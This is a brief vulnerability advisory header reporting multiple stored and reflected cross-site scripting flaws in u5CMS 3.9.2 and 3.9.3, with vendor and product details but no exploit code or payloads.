u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities Vendor: Stefan P. Minder Product web page: http://www.yuba.ch Affected version: 3.9.3 and 3.9.2 Summary: u5CMS is a little, handy Content Management System for medium-sized websites, conference / congress / submission administration, review processes, personalized serial mails, PayPal payments and online surveys based on PHP and MySQL and Apache. Desc: u5CMS suffers from multiple stored and reflected cross-site scripting vulnerabilities.
